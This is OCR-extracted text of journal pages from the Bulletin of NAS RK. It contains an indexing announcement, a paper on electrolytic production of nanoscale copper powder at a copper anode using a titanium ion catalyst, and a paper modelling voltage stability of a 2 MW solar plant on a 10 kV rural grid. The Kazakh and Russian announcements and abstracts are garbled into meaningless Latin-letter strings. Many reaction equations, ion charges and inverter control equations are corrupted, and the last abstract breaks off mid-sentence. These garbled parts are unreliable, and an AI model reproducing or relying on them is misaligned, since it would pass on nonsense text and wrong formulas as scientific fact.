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NAS RK s pleased to announce that Bulletin of NAS RK scientific journal has been
accepted for indexing in the Emerging Sources Citation Index, a new edition of Web of Science.
Content in this index is under consideration by Clarivate Analytics to be accepted in the Science
Citation Index Expanded, the Social Sciences Citation Index, and the Arts & Humanities Citation
Index. The quality and depth of content Web of Science offers to researchers, authors,
publishers, and institutions sets it apart from other research databases. The inclusion of Bulletin
of NAS RK in the Emerging Sources Citation Index demonstrates our dedication to providing the
most relevant and influential multidiscipline content to our community.

Kasakcman Pecnybnukacbkl ¥nmmabiK fbiibiM akademusicbl "KP YFA XabapwbiCbl” fbiibIMU XKypHa-
nbiHeiH Web of Science-miH xaHanaHraH Hyckacbl Emerging Sources Citation Index-me uHOekcmeryee
KabblindaHraHbiH xabapnaliobl. byn uHOekcmery 6apbicbiHOa Clarivate Analytics KomnaHUsICbi XypHanobl
o0aH opi the Science Citation Index Expanded, the Social Sciences Citation Index xoHe the Arts &
Humanities Citation Index-ke kabbinday mecerneciH Kapacmbipyda. Web of Science sepmmeyuwinep,
asmopnap, bacnawbinap MeH MeKkemesiepee KOHMeHm mepeHdiai MeH canacbiH ycbiHaobl. KP ¥FA
XabapwebicbiHbiH Emerging Sources Citation Index-ke eHyi 6i30iH KoramMOacmbiK YWiH eH e3eKmi oHe
6edendi mynbmuducyunnuHapibl KOHMeHmke adasndbifbiMbi30bl 6indipedi.

HAH PK coobwaem, ymo Hay4Hbll xypHan «BecmHuk HAH PK» 6b1n npuHsam 0nsi uH0ekcuposaHusi
e Emerging Sources Citation Index, obHoeneHHol sepcuu Web of Science. CodepxxaHue 8 3mom UHOeK-
cuposaHuu Haxodumcsi 8 cmaduu paccmompeHusi komrnaHuel Clarivate Analytics 0ns OanbHelwezo
npuHamus xypHana e the Science Citation Index Expanded, the Social Sciences Citation Index u the Arts
& Humanities Citation Index. Web of Science npednacaem kauyecmeo u 2aiybuHy KOHmMeHma Orns
uccnedoeamenel, asmopos, usdamenel u y4pexdeHul. BknoueHue BecmHuka HAH PK e Emerging
Sources Citation Index demoHCcmpupyem Hawy [pPUBEPXKEHHOCMb K Hauboree akmyarnbHOMY U
enusimesisHoMy MynbmuducyuniuHapHoOMy KOHmeHmy 0515 Hawea2o coobuwecmea.
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FORMATION OF DISPERSE COPPER POWDER
IN ANODIC SPACE IN SULFURIC ACID SOLUTION

Abstract. The proposed article considers the dissolution of a copper electrode in the anodic polarization of a
metal in the presence of a Ti (IV) <> Ti (III) catalyst system and the formation of an ultradisperse powder that have
passed into a solution of copper (II) ions. Electrolysis was carried out under standard conditions in a sulfuric acid
medium in an electrolyser with unshared spaces using DC. During the anodic polarization of copper electrodes
copper ions (II) are formed. The copper (II) ions transferred to solution on the anode surface are reacted with ti-
tanium (III) ions to form a nanosized copper powder. As a result, a solution of colloidal copper is formed. The
oxidized titanium (IV) ions diffuse in the direction of the cathode and are reduced to the trivalent state. It is shown
that the ions of trivalent titanium reduce the ions of divalent copper formed at the anode to a nanoscale metal
powder. Thus, in the course of electrolysis, titanium ions in the electrolyte form act as a continuous catalyst system.
It is established that the stability formed in the anode space during electrolysis of solutions of colloidal copper varies
with the concentration of titanium (IIT) ions.

Key words: copper, powder, electrolysis, titanium, catalyst, electrode, cathode, anode.

In the production of modern techniques copper powder is in great demand [1-5]. Copper powder is
used in the welding technique for the alloy, in the work of special cutting, in the preparation of lubricants.
Dispersed copper powders are used in various branches of technology and industry, in particular, for the
manufacture of products in the electrochemical, automotive industries, as well as for the production of
high-quality plating metallic lubricants with a wear-free effect.

Recently dispersed copper powders of spherical shape are widely used in 3D technology.

Metal powder can be obtained in different ways. They are divided into mechanical, physicochemical,
hydroelectrometallurgical methods and a method of spraying [6—9]. And the process of obtaining nano-
sized copper powder through electrolysis is still poorly understood. Therefore, the study of the influence
of various parameters on the process of obtaining and the formation of copper powder through electrolysis
is of great importance.

According to literature sources, the bulk of copper powder is obtained by electrochemical methods
[10]. All processes of copper powder production are well studied [11-15]. The dimensions of the copper
powder obtained by the known method is 40-100 micrometer. And the problems of obtaining metal
powders of dispersed and nano-size remain open. Various scientific studies are carried out to develop a
rational method for producing ultrafine copper powder. Our early research works prove that the formed
copper powders obtained with the participation of electrolysis with titanium ions (IV) and alternating
currents have smaller sizes [16, 17].
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With the participation of alternating current, copper (II) ions are oxidized in the cathode period to a
metal powder, and in the anode period slightly dissolves and dispersion increases, large parts are ground
and eventually copper powders of 0.1-0.3 um are formed.

The possibility of obtaining ultrafine copper powder in the cathode part using the catalytic system
Ti (IV) < Ti (IIl) indicated in early writings of professor Baeshov A.[18-20]. Our detailed studies have
shown that the copper powders formed during the cathodic oxidation of copper (II) ions at high current
density immediately grow in size after formation. As a result, it became known about the impossibility of
obtaining dispersed copper powder by a known electrochemical method.

In earlier research work indicated the possibility of obtaining dispersed copper powder on the surface
of the copper anode and secured this discovery patent of the Republic of Kazakhstan [20]. In the proposed
work showed the possibility of such processes in a simple electrolysis with indivisible electrode spaces.

Electrolysis is carried out in an electrolyzer of 150 ml, made of Plexiglas. A copper electrode is used
as the anode, and a titanium electrode as the cathode. As part of the electrolyte used sulfuric acid solution
with ions of three and tetravalent titanium. It should be noted that copper ions are absent in the solution.
During electrolysis, the formation of fine copper powder on the surface of the copper anode was observed.
The number of copper powders formed using the current is affected by the current density, the
concentration of titanium (III) ions and sulfuric acid in the electrodes.

During electrolysis, the formation of copper powder occurs by the following mechanism:

The reaction scheme that occurs in the electrodes is shown in figure 1.

A
A
D

(+) WY =)
/1 2
Cu-2e — Cp** ™

+

T« — — —Ti .

l A
YCul + Ti— —

Figure 1 — Schematic diagram of the electrolyzer.
The scheme of reactions occurring in the electrodes and electrolytes:
1 — copper electrode; 2 — titanium electrode

With anodic polarization of the copper electrode, it dissolves while forming its own ions:

Cu - 2¢ — Cu*” (1)

The formed copper (II) ions interacting with titanium (III) ions on the surface of the anode to form
copper powders. As a result, the following chemical reaction occurs on the anode electrode:

Cu®" +2Ti"" — |Cu’ + 2Ti*" )
And Ti (IV) ions formed as a result of reaction (2) diffuse in the direction of the cathode and dissolve

in the cathode to the trivalent state:
2Ti* + 2e — 2Ti*" (3)

The ions Ti (III) formed as a result of the reaction(3) are differentiated in the direction of the anode
and re-interacting with the ions of copper (II) formed in the anode according to the reaction on the anode
area to form a copper powder. These reactions during the electrolysis are repeated by cycle.

— ] —
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In the present article the influence of different parameters on the mechanism of copper powder
formation is studied.

Electrolysis with the composition of sulfuric acid 50g/1 titanium (III) 4 g/l and 2 g/1 titanium (IV) is
carried out and the effect of the current density in the electrodes is studied.

The amount of copper powders formed during electrolysis was determined by the solubility of the
copper anode. Since it became known that copper (II) ions formed in the anode and titanium ions (III)
formed on the electrode surface interacting with each other form a colloidal solution with the content of
fine copper powder.After 60-90 minutes, the stability of this colloidal copper solution decreases and
settles on the bottom of the electrolyzer in the form of an ultrafine powder. According to our calculations,
the constant value of the "red-ox" process occurring during the reaction (2) is ~10'’. This shows that
copper (II) ions formed in the anode and titanium(III) ions included in the solution are fully involved in
the reaction.

This means that copper (II) ions formed in the anode are fully involved in the formation of colloidal
copper powder. As the current density in the electrodes increases to 100 A/m?, it can be assumed that
colloidal copper powder is formed up to 100%.

When the concentration of titanium ions (III) varies in the range of 1-4 g/I, copper ions (II) formed in
the anode through a complete reaction (2) form a solution of colloidal copper powder.

It is observed that with an increase in the concentration of titanium ions(Ill), the stability of the
colloidal copper solution decreases. For example, at the concentration of titanium ions (III) 1 g/l stability
of colloidal copper solution is more than 180 minutes. Only after a certain time, the formed copper
powders of nanosizes interact with each other as nano particles settle to the bottom of the electrolyzer.

With the concentration of sulfuric acid in the range of 50-150 g/l in the formation of colloidal copper
solution and in the volume of the powder, no change was observed.

As a result of the study, it was proved that during electrolysis, the reactions on the electrode surface
and the anode area occur according to the following scheme:

(+) in the copper anode —= Cu-2e — Cu*

l—|

on the surface

of the anode —= T¥" — |Cu® + Ti*
|
(=) in the cathode — = Ti* 4+ 2e — Ti°F
T

At the end of the practice, the particles of the formed copper powders were studied and the shapes
and sizes were determined. With the help of a scanning electron microscope, a snapshot of the copper
powder was taken, magnified up to 50,000 times (figure 2). According to the figures (figure 2 of the
scheme a, b), it can be determined that the particle sizes of the powder are almost the same. Only in some
places small particles together created a large volume. The current size of the resulting copper powder can
be observed in the increased to 50,000 times figure 2 g-image.The particle sizes are almost identical, in the
range of 0.097-0123 pum. It is concluded that these dimensions were formed as a result of the combination
of nanosize powders.

In the result of the study it was determined that with Ti(IV) < Ti(Ill) catalytic system involving
direct current, normal condition, sulfuric acid medium, in electrolysiswithout dividing the surface of the
electrodes on the surface of the anode is obtained copper powder with the nanoscale. That is, based on
specified parameters, from any of the copper electrode with the participation of ions of trivalent titanium,
dissolving the anode in the area of the anode can be obtained colloidal copper solution with nano-sizes
metal and this is demonstrated for the first time. It is also indicated for the first time that in this case
chemical and electrochemical reactions occur simultaneously.

In conclusion, would like to note that the proposed research results based on experiments show the
production of very fine copper powders using a new mechanism on the anode surface or on the anode
area.
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Figure 2 — Microscopic image of copper powders formed on the anode area:
a) increased up to 300 times; b) increased up to 3000 times;
¢) increased up to 10,000 times; d) increased up to 50,000 times
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KYKIPT KbIIIKBLABI EPITIHAIAE JTMCIEPCTI MBIC YHTAKTAPBIHBIH,
AHOJ] KEHICTITTHJE TY3LIYI

AnHOTamms. Y ChIHBUIBII OThIpran Makanazaa Ti(IV) < Ti(Ill) kartanuTHkaibIK xKyHese MBIC 2JISKTPOIBI aHOATHI MOJISIPH-
3auMsUIaHFaH/la METANBIH epyi xoHe epireH Mbic (II) moHIapbIHAH ©Te AUCIIEPCT] YHTAKTBIH TY3U1yl KapacThIPbULABL. DJNEKTPOIN3
TYPAKThl TOK KaTBICBIH/A, KAJIBIITHI JKaFAaiiia, KYKipT KbILIKBUIABI OPTa/a, JIEKTPO KeHICTIKTepi OeiHOereH anekTponusepae
JKYPri3iani. MbIc 2JeKTpOABIH aHOATH NoJsipu3anusutaranaa Meic (11) mormapser Tysineni. Epitinaire etken meic (II) monmapsr con
corre anop Oerinae TutaH (III) moHmapeIMEH opekeTTecin HaHOpa3MepIi MBIC YHTaFbIHA NICHiIH TOTBHIKCHI3AaHaabl. HoTmkecinae
KOJUIOMATH! MBIC epiTiHaici kKamsinracansl. ToTsiKkan TuTaH (IV) monmapel xaton OarbIThIHA Kapai oy ¢y3usUIaHbII, YII Ba-
JICHTTI KY#re NeiiH TOTBIKChI3aHabl. YIII BaIEHTTI TUTaH HOHJAPHI, aHOATA TY3UITeH MBICTHIH €Ki BAJICHTTI HOHJapBIH KaiTa Ha-
HOpa3Mepili MeTall YHTarblHa JNEeHiH TOTBIKCHI3AAHIBIPBIT OTHIPATHIHIBIFEl KOPCETULAI. DJIEKTPOINT KYpPaMbIHIAaFbl TUTAH HOH-
JIapbl AJIEKTPOJIN3 Ke3iHe OChUIaifia 63iHIH Y3/1iKCi3 KaTATUTUKAIBIK KBI3METIH aTKapabl. DIIEKTPOIN3 HOTHKECIHAC aHOM Ke-
HICTITiHE TY3UIreH KOJUIOMATHI MBIC epiTiHAiCiHiH TypakThuibFbl, THTaH (III) HOHIAPBIHBIH KOHLIEHTpAUMsIChIHA OaiIaHBICTHI
©3repeTiH/IIr aHBIKTAJ/IbI.

TyiiiH ce3/ep: MbIC, YHTAK, SJICKTPOJIH3, TUTaH, KaTalIM3aToP, SJIEKTPOI, KaTO, aHOJ.
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O®OPMUPOBAHUE JUCITEPCHOI'O MEJHOI'O IOPOLIKA B AHOJHOM INPOCTPAHCTBE
B PACTBOPE CEPHOM KACJIOTHI

AHHoTanms. B npennaraemoii cTaTbe pacCCMOTPEHO PACTBOPEHHE MEIAHOTO MIEKTPOAA MPH aHOTHOH MONIPU3ALUH METallIa
B mpucyrcBun Katamutudeckor cuctembl Ti(IV) < Ti(lll) u ¢popMupoBanne ymabTpaIuCHEpCHOTO MOPOIIKA, MEpPEIeNnX B
pactBop HoHOB Meau (II). DneKkTponau3 MpOoBOIWIN MIPU CTAHAAPTHBIX YCIOBUSX B CEPHOKHUCIION CPElie B MIICKTPOIH3EpE C Hepas-
JIETICHHBIMU TIPOCTPAHCTBAMH C IPUMEHEHHEM ITOCTOSHHOTO TOKa. [Ipy aHOMHO# MOIIpHU3alii MEAHBIX JJIEKTPOIOB 00pa3yloTcs
nonsl Menu (IT). ITepememmue B pactBop nonsl Mexu (II) Ha moBepxHOCTH aHOzA B3auMoeHcTBYsI ¢ noHamu TutaHa (III) Boccra-
HABJIUBAIOTCS ¢ 00pa30BaHUEM HAHOPa3MEPHO IOpOIIKa Menu. B pesynbrare dopmupyercs pacTBop xoiutougHoi menu. Oxwuc-
nenHble noHbl TTana (IV) muddyHanpyoT B HanpaBiIeHUH KaToaa ¥ BOCCTaHABIMBAIOTCS IO TPEXBAIEHTHOTO cocTostHus. [Toka-
3aHO, YTO MOHBI TPEXBAJICHTHOTO THTaHA BOCCTAHABIMBAIOT 00PA3yIOIIMECS HA aHOJE MOHBI IBYyXBAICHTHOH MEIM O HaHOpa3-
MEPHOTO0 MOPOIIKa MeTala. TakuM 00pa3oM, MpH SMEKTPOIIH3e HOHBI TUTaHA, HAXOASIINECS B COCTABE HJIEKTPOJINTA BBICTYIAIOT
B KaUeCTBE HEIPEPHIBHOM KAaTAINTHIECKOH CHCTEMBI. Y CTAHOBJIEHO, YTO YCTOHIMBOCTH, 0OPA30BAHHBIX B AHOJHOM IIPOCTPAHCTBE
[P 3JICKTPOJIN3E, PACTBOPOB KOJUIOMIHON MEIN MEHSETCS B 3aBUCUMOCTHU OT KOHIIEHTpanuu HoHoB TuTaHa (I1I).

KnioueBble cji0Ba: MeJib, IOPOIIOK, 3JI€KTPOJIN3, TUTAH, KAaTaJIN3aTOP, SIEKTPOM, KaTOM, aHOJ.
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RESEARCH OF VOLTAGE DEVIATION
IN RURAL ELECTRICAL GRID WITH DISTRIBUTED GENERATION

Abstract. In accordance with the strategy for the development of energy in Kazakhstan in agriculture, it is
necessary to solve the important problem of reducing the energy intensity of agricultural production [1, 2]. The key
difficulties in integrating high-capacity generation of renewable energy sources(RES) into the grid are the planning
and management of the system. Scenarios for studying the impact on the system depend on high or low load, high
proportion or absence of wind/solar energy. For each case, the bus voltage is calculated and checked for compliance
with permissible limits, the calculation of the flow distribution of active and reactive power, as well as losses in the
transformer, on power lines, generators and other components. Most wind and solar power plants do not provide
inertial response or control of statism [3]. A number of difficulties arise related to the stability of the voltage in
transient modes.. In this regard, the actual issue is the introduction of adaptive controllers for controlling inverters,
depending on the change in the mode parameters [4, 5]. In this paper, we present the results of studies on the mo-
deling of transient regimes using the example of the SPP with an installed capacity of 2 MW describes the possibility
of changing the principles of system management, which is the most economical solution to the problems of
integrating wind and photovoltaic solar energy into a network. The virtual model of the PSCad analyzed the stability
of the voltage in the event of a short circuit on the 10 kV bus, algorithms and mechanisms for using the intelligent
controller for controlling the photovoltaic system were developed.

Keywords: distributed generation, integration of solar power plants, voltage deviation, transient modes, short-
circuit current.

Introduction. The current state policy on the introduction of green and clean technologies encou-
rages the construction of renewable energy sources, such as wind farms, solar power plants(SPP) and
small hydropower plants. According to the data presented in [6, 7], by the end of 2025, it is expected to
connect more than 3,000 MW of RES or 15% of the total installed capacity of the generating stations of
the Republic. Including, the share of SPP will be 650 MW. With the increase in the share of RES in the
total balance of capacity, electromagnetic processes in systems with power converters have a significant
effect on voltage stabilization. It is known that the occurrence of a short circuit (SC) due to an unstable
damage inevitably leads to a voltage drop in one or several phases (possibly also to a voltage jump in
undamaged phases), depending on the type and location of the fault. For this reason, the grid rules of
countries with developed renewable energy require that the connection of a high-power RES-power
system keep the voltage drop in the network to a certain level (usually in percentage of the nominal
voltage) without switching off.

Since 2015, the system operator of KEGOC JSC for the reconciliation of the scheme for issuing the
power of renewable energy has introduced "System operator requirements for ensuring integration of RES
with the energy system" [8, 9], where one of the main requirements is to ensure the stability of RES
voltage in transient modes. The document contains the conditions for RES operation when the linear
(phase-to-phase) voltage falls at the point of connection to the network caused by the asynchronous mode
in the adjacent network or by close short circuits (symmetrical or asymmetric) [9]. The required voltage
value is provided by generating a controlled volume of reactive power. Figure 1 shows the "voltage-time"
characteristic at the time of the accident.
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Figure 1 — Diagram of restrictions of switching off generating plants from the common network
in the parameters of level-duration of voltage drop

Area "A" - RES must remain connected to the network and function steadily;

Area "B" - RES must remain connected to the network and provide maximum voltage support by
generating a controlled volume of reactive power;

Area "C" - it is allowed to disconnect RES from the network.

Thus, it is required that the RES object in case of voltage drop to 0 in the time interval between 0.4s
and 3s remains connected to the power system (zone B) or be disconnected (zone C) from the external
network as the voltage deviation U/U,,,, changes curve on figure 1.

For solar power plants, provision of permissible voltage is possible due to adaptive regulation of the
inverter's operation, the task of which is to receive the reactive component from the network to stabilize
the voltage when increasing and to generate reactive power with an unacceptable voltage drop. The
change in the value of cos (f) should be within 0.85 ind and 0.85 cap [10]. The results of the studies
presented in [3-5, 10, 11] show that providing a voltage within a given range is one of the most difficult
tasks, the solution of which depends on changing climatic conditions (humidity, wind, solar radiation, etc.)
temperature heating of cells, as well as the number of solar panels at the station, affecting the fluctuations
in output power. For SES connected to an external electrical network (on-line), the provision of permis-
sible voltage levels in normal and post-emergency modes is possible at the expense of power storage
devices, but the cost of such installations is not yet sufficiently acceptable for companies [10].

In this regard, an effective means of voltage regulation is the use of an intelligent regulator for con-
trolling the photovoltaic power supply system [4]. However, the use of this approach requires the deve-
lopment of adaptive algorithms that will in real time regulate the conversion of active and reactive current
in inverters depending on the voltage level on the bus bars of the connected external network.

In this article, studies have been conducted to maintain the voltage inverters of the 2-MW SPP like as
in Kapshagai city in the south of Kazakhstan in the event of a short-circuit occurring in the PScad ™
software package. PScad is a high-speed, accurate to 0.001s. and a simple tool for modeling the operation
of power systems and power electronic converters in their design, analysis, optimization and verification.
and also proposed algorithms and mechanisms for ensuring stable operation of the power system in
transient regimes.
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This SPP is connected to an external 10 kV network via a 0.4/10 kV step-up transformer. The voltage
variation in the transient regimes was estimated under the conditions of the occurrence of a 3-phase short
circuit (short circuit) on the 10 kV busbars of a 1-second transformer substation. Modeling is performed in
the PScad ™ software package. The PScad program with the EMTDC ™ transient simulation module
provides a wide range of tools and a large component library for detailed analysis of the operation of
power equipment. The result of the system simulation are graphs of the transients of currents and voltages
at the input and output of the system for both ac networks and for the DC transmission system. The line
parameters are given in the form of lumped inductances, capacitance and resistances, equivalent to the
physical parameters of the line.

Results and discussion. To model the SPP, the structural diagram of which is shown in figure 2, we
write the output voltage at the solar power plant in a matrix form for 3 phases (2):

Usa d ia Uq
Usp| = (R+L)|in| + [up (1
Usc ‘ ic Uc

where Us,, U, Uy is the voltage of the inverter, i,, 1, i. is the inverter current, u,, up, u.is the voltage of
the external electrical network.

In accordance with the requirements of transmitting electrical networks [9], it is necessary that at the
time of transient regimes the accident does not spread to distribution networks and does not provoke its
cascade development.

Voltage stability in PV systems is determined by the operation of inverters, which must regulate the
generation of active and reactive power during short-circuit or other transient processes [11]. The
mathematical model of the inverter operation is described by the following equations (3, 4) in the
simplified coordinate system d, q:

dig(t)

Ugg= Rld + L dt - (x)qu + Ug
. dig(t) , (2)
Usq=Rig + L 0t + wlig —u,

P = udid + uqiq
Q = ugiqg —ugiqg

3)

From figure 3A, we can observe that after a 3-phase short circuit on a 10kV bus, the inverter goes
into protection mode and automatically removes the voltage at the output, the instantaneous and active
voltage on the 10kV buses is reduced to 0 and restored only after the short circuit is completed. There is a
decrease in the generated currents, and accordingly the active and reactive power from the SPP. For
1 second SPP does not contribute to the external power supply voltage. When the external voltage drops to
a critical level, the SPP automatics takes it to isolated work in order to ensure the stable operation of the
integrated electric network.

Analysis of simulation of transient modes shows that as a result of the absence of a reverse electro-
mechanical connection of the power system from the SES, intelligent regulators must be used to control
the output voltage, which will adaptively control the generation of active and reactive power when the
external parameters of the electrical network change. Figure 4 shows the block diagram of Iq operation of
the regulator for operation in the SPP system when connected to an external electrical network.

Models of automatic systems based on semiconductor converters with pulse-width modulation belong
to the class of systems of the following type [8]:

dX —
2 _alaX.1), )
dt
where X is a vector of phase variables; G is a periodic vector function; A is the matrix of the parameters of

the system.
The solution of the system (1) has the form:

X(t)=X(t+T).

The converter replacement circuit is described by a system of nonlinear differential equations
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Figure 4 — Block diagram of the Iq controller operation in the SPP system when connected to an external network

di .
=L =_R.ip ~Kgp(&(t)-uc +E;
d (5)
duc . uC
c—L=i K t)) - —&,
o L rp (&(1) Ry,

where is the current in the inductance; - voltage on the filter capacity; - a function that describes the
commutation of a diode.
In the matrix form, system (4) is written as
dX = =
— = AKp(E(1) - X+B(iL).
dt
The principle of the Iq regulator operation is to control the external voltage of the network and to
regulate the operation of the inverter by generating active and reactive transients in the event of a fault (5).
. di
Ug,b,c= Usa,sb,sc - (Rld +L d_: (6)
The operation of the inverter for regulating the generation of active and reactive power will be
performed in accordance with the model in the coordinates dq from the change in the phase of the external
current ®Lig, -0Lig (6).

. di .
Ug=Usq — (Rld(t) +L l;zt(t)) + wLig(t) )
, di ,
Ug=Usq — (qu(t) + L%(t)) — wLiy(t)

The purpose of voltage regulation at the connection point is to provide the required voltage in
accordance with the graph shown in Fig. 1. To do this, Iq controller is used, which determines the current
value on the inverter i;, using the system of equations 6.

To determine the currents X (ig, 1), we use the solution of linear equations in the form:

X()=T- 4", ®)

where Y — is the vector of voltage drops in the network between the points of connection of the SPP to the

system in the coordinates d, q, Y (U4, Uy); X — current vector in the coordinates d, g; A — matrix
parameters (step-up transformer, cable, etc.) between the point U, and the point of connection of SPP to
the system buses.
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The solution of system (8) has the form:
X(t)=X(t+T), (10)
where Ys=./Y; + Yq2 , determined by the shutdown conditions:
YS 2 YSnom Where r= (tO 5tco)7
(11)

Y, =0 wheret <0.4s;
Y, =Y, +k-t,where k =tg(AU /t)).

As a result of the developed adaptive algorithm, the necessary level of output voltage of the PV
system will be provided in the Iq regulator functioning in order to stabilize the transients of the external
power system.

Conclusion. In this paper, some possibilities of distributed generation to regulate voltage and control
reactive power were shown, but still many questions require investigation. One of them is economic effi-
ciency, because such an approach increases losses in distribution grid. With significant integration of SES
and the absence of a reverse electromechanical connection with the power system, it is necessary to use
the development of a voltage regulator at SPP based on the parameters of the external network mode,
based on adaptive algorithms for controlling the operation of inverters. The voltage regulator on SPP is
implemented in the form of Iq controller, which affects the current of the inverter i;,. An algorithm for
determining the required current value is proposed using the equation of the current dependence on the
voltage drop between the U,, point and the SPP connection point to the system buses. In addition,
different combinations of control for large and small-scale PV plants are possible to consider as well as an
implementation of central control for all renewables in the distributed grid. This direction will be also
investigated in the nearest future.

Acknowledgements. This work was carried out with financial support of the Committee of Science of the
Ministry of Education and Science of Kazakhstan (grant Ne 25 contract 29/10/18, NeAPP-PSC-1-17/006P).

REFERENCES

[1] Zakon Respubliki Kazahstanot 4 iyulya 2009 goda Ne 165-IV «O podderzhke ispolzovaniya vozobnovlyaemyih istoch-
nikov energii».

[2] «Forsayt—2050» Novyiy mir energii i mesto Kazahstana v nem Ministerstvo energetiki Respubliki Kazahstan 2017 g.

[3] Barkov V.I. Mezhdunarodnaya agroinzheneriya, 2016, vyipusk 1 57. Nauchno-Tehnicheskiy Potentsial Solnechnoy
Energetiki Kazahstana. P. 57-62.

[4] Kamaruzzaman Z.A., A. Mohamed H. Shareef/Effect of grid-connected photovoltaic systems on static and dynamic vol-
tage stability with analysis techniques — a review PRZEGLAD ELEKTROTECHNICZNY, ISSN 0033-2097, R. 91 NR 6/2015.

[5] Yuwei Sun, Xujing Tang, Yuanchao Qiu, Yang Wang, Chengqing Yuan, Qizhen Jiang. Research on the Transient
Characteristic of Photovotaics-ship Power System based on PSCAD/EMTDC/4th International Conference on Renewable Energy
Research and Applications Palermo, Italy, 22-25 Nov. 2015.

[6] Erhab Youssef, Rasha M. El Azab, Amr M. Amin / Influence study of concentrated photovoltaic location on voltage
stability // International Journal of Smart Grid and Clean Energy. July 2015. Vol. 4, N 3.

[71 Rakhimova G., Temirova A., Abikayeva M. The need for reform at energy sector republic of Kazakhstan in the
context conservation and energy efficiency // Bulletin of national academy of sciences of the republic of Kazakhstan.
Vol. 2, N 360. P. 132-136. ISSN 1991-3494. 2016. http://www.bulletin-science.kz/images/pdf/v20162/v132136.pdf,
https://doi.org/10.32014/2018.2518-1467

[8] Nadirov N.K., Solodova E.V., Kydyralina N.N., Kasymkulov A.K. The basic construction of greenhouses and methods
power supply using alternative energy sources // Bulletin of national academy of sciences of the republic of Kazakhstan.
2015. Vol. 3, N 355. P. 88-97. ISSN 1991-3494. http://www.bulletin-science.kz/images/pdf/v20153/ves92101.pdf,
https://doi.org/10.32014/2018.2518-1467

— 16 ——



ISSN 1991-3494 Ne 6. 2018

[9] Tohtibakiev K.K., Dmitriev K.O., Sauhimov A.A., Shokolakova Sh.K. Issledovanie dinamicheskih harakteristik
vetrovoy elektrostantsii pri podklyuchenii k raspredelitelnoy seti // Issledovaniya, rezultatyi. 2016. N 3(71). P. 265-272.
ISSN 2304-3334-04.

[10] Postanovlenie Pravitelstva Respubliki Kazahstan ot 19 iyunya 2013 goda Ne 625. Ob utverzhdenii Elektrosetevyih pravil
redaktsiya ot 21 avgusta 2015 goda Ne 657.

[11] Yandulskiy A.S., Marchenko A.A., Nesterko A.B. Otsenka dinamicheskih harakteristik mnogomashinnyih elektro-
energeticheskih sistem na osnove dannyih sistemyi monitoringa perehodnyih rezhimov // Nauchnyie trudyi VNTU. 2014. N 4.

[12] WANG lJin, ZHANG Jinhua, HAO Zhiguo. Analysis of Photovoltaic Power Generation System Low Voltage Ride
through Control during Asymmetric Fault // 2016 China International Conference on Electricity Distribution (CICED 2016)
Xi’an, 10-13 Aug, 2016.

[13] Thanomsat N., Plangklang B. Analysis of Power Output Impact on PV rooftop system under Different Installation
Positions by PSCAD // Energy Procedia. 2016. 89. P. 149-159.

[14] Microgrid control principles in island mode operation Conference Paper (PDF Available) June 2013 with 1, 357 Reads.
DOI: 10.1109/PTC.2013.6652453 Conference: Conference: POWERTECH 2013, At Grenoble, France
https://www.researchgate.net/publication/258960218

[15] Vinogradov A.Yu., Gerasimov A.S., Kozlov A.V. Primenenie upravlyaemyih ustroystv kompensatsii reaktivnoy mosch-
nosti v EES Rossii dlya postroeniya intellektualnoy elektroenergeticheskoy sistemyi // Izvestiya NTTs Edinoy energeticheskoy
sistemyi v Internete. ISSN 2307-261X.

[16] Issledovanie vliyaniya VIE pri suschestvuyuschih vozmozhnostyah EES Kazahstana (uroven 2015-2020 gg.) //
Energetika. 2016. N 1(56).

[17] Trofimov G.G., Zhivaeva O.P. Rabota vozobnovlyaemyih istochnikov energii v energosisteme // Energetika. 2015.
N 2(53). P. 25-33.

[18] Kalashnik V.I., Pomogaev Yu.M. Avtonomnyiy invertor napryazheniya // Mehanizatsiya i Elektrifikatsiya selskogo
hozyaystva. 2013. N 5. P. 20-22.

[19] Kalashnik V.I., Cheremisinova N.A. Tsifrovoy regulyator napryazheniya // Tehnika v selskom hozyaystve. 2012. N 4.
P. 15-17.

[20] Bokenbaev Zh., Tukenov A., Bapin E., Doroshin G., Muhamedin Zh. Osnovnyie bareryi pri integratsii VIE v edinuyu
energosistemu RK i rekomendatsii po ih resheniyu // Prilozhenie k zhurnalu «Energetika» -2015. N 1(52). P. 34-39.

C. A. Kemnyos', I1I. K. Illokosakoa', A. A. Cayxumos’, E. Illyanosa’

'Kasaxckuii HalMoOHaIbHbIH arpapHbiii yHHBepcHTeT, AnMarsl, Kazaxcran,
2 ANIMaTHHCKHI Yuuepcuter Duepretuku u Cesasu, Anmatel, Kazaxcran,
STawmuckuit TeXHUYECKHit Yuuepcuter, Tau, DCTOHUS

MBT KYATTBLJIBIKTATbBI KYH2JIEKTPCTAHIUACBIH
HUHTEI'PAJIIAY KE3IHAEI'T TAPATYIIBI 2 KEJUIEPIETT
KEPHEY TYPAKTBLJIBIFbIHBIH 3EPTTEYI

AnHoTanusa. Kaszakcranma XaHApTHUIATBIH HEPTUs KO3AEPiH €Hri3yli BIHTAJAHABIpY OoibIHIIA OipKaTap
mapajap KaObUIIaHAbl, OJapblH Oipeyl KyHdHeprusichl Oombin TaObuiaasl [1, 2]. Kenteren jxen »xoHe KYHIJIEKTp-
craniusiiapsl (KOC) uHepumanapl sxayan Oepy/ii HeMece CTaTHCTHKaHbl Oakpuiaylbl KamTamace3 erreiai. Kaiira
KEpHEY KepHEeyiHIH MHBEPTOPBI CBHIPTKBI AIEKTPMEH JKaObIKTay KYHeCiHIH KepHeyiMeH kepi Oainanbic koK. CIC-
HIH 3JIGKTPIHEPTUsChIH OHIIPYi, 9AETTe, TeK KYH PaJMalMsCHIHBIH (yHKIMSICHI OOJBbII TaObUIA/IbI KOHE XKEMi KY-
MBICBIHBIH MapaMeTpiiepine OaianbicTbl emec [3]. OcbiFan GaiIaHBICTBI, HHBEPTOPIApAbI Oackapyra OelimaenreH
KOHTPOJUIEPJIEpl PEKUMHIH MapaMeTpliepiH e3repryre OaiaHbicThl [4, 5] eHrizy moceneci e3eKTi OOJbI TaObI-
nanel. JKaHApThUIATBIH SHEPTUsl KO3IEPIH JKOFAPhl KyaTThUIBIKTBI TOPFA MHTETPALMSIIAYIbIH HETi3rl KUBIHBIKTAPbI
XKyiieHi jxocnapnay jkoHe Oackapy Ooubin Tabbutaznbl. JKyiiere ocepai 3epTTey YIIiH CLEHApUiiep KoFrapbl Hemece
TOMEH JKYKTEMEJICH, JKOFapbl MPOIMOPLHUsIaH HEMECe JKeJI/KYH JSHEPTUSCHIHBIH JKOKTBIFbIHA OaliaHbICThL. OpOip
Karnaiaa MmuHaJapAblH KepHEYyl pYKcaT eTUIreH JIMMHUTTepre, OelCeH Il KOHe PEeakTHBTI KyaTThl HAFbIHBIH Oely,
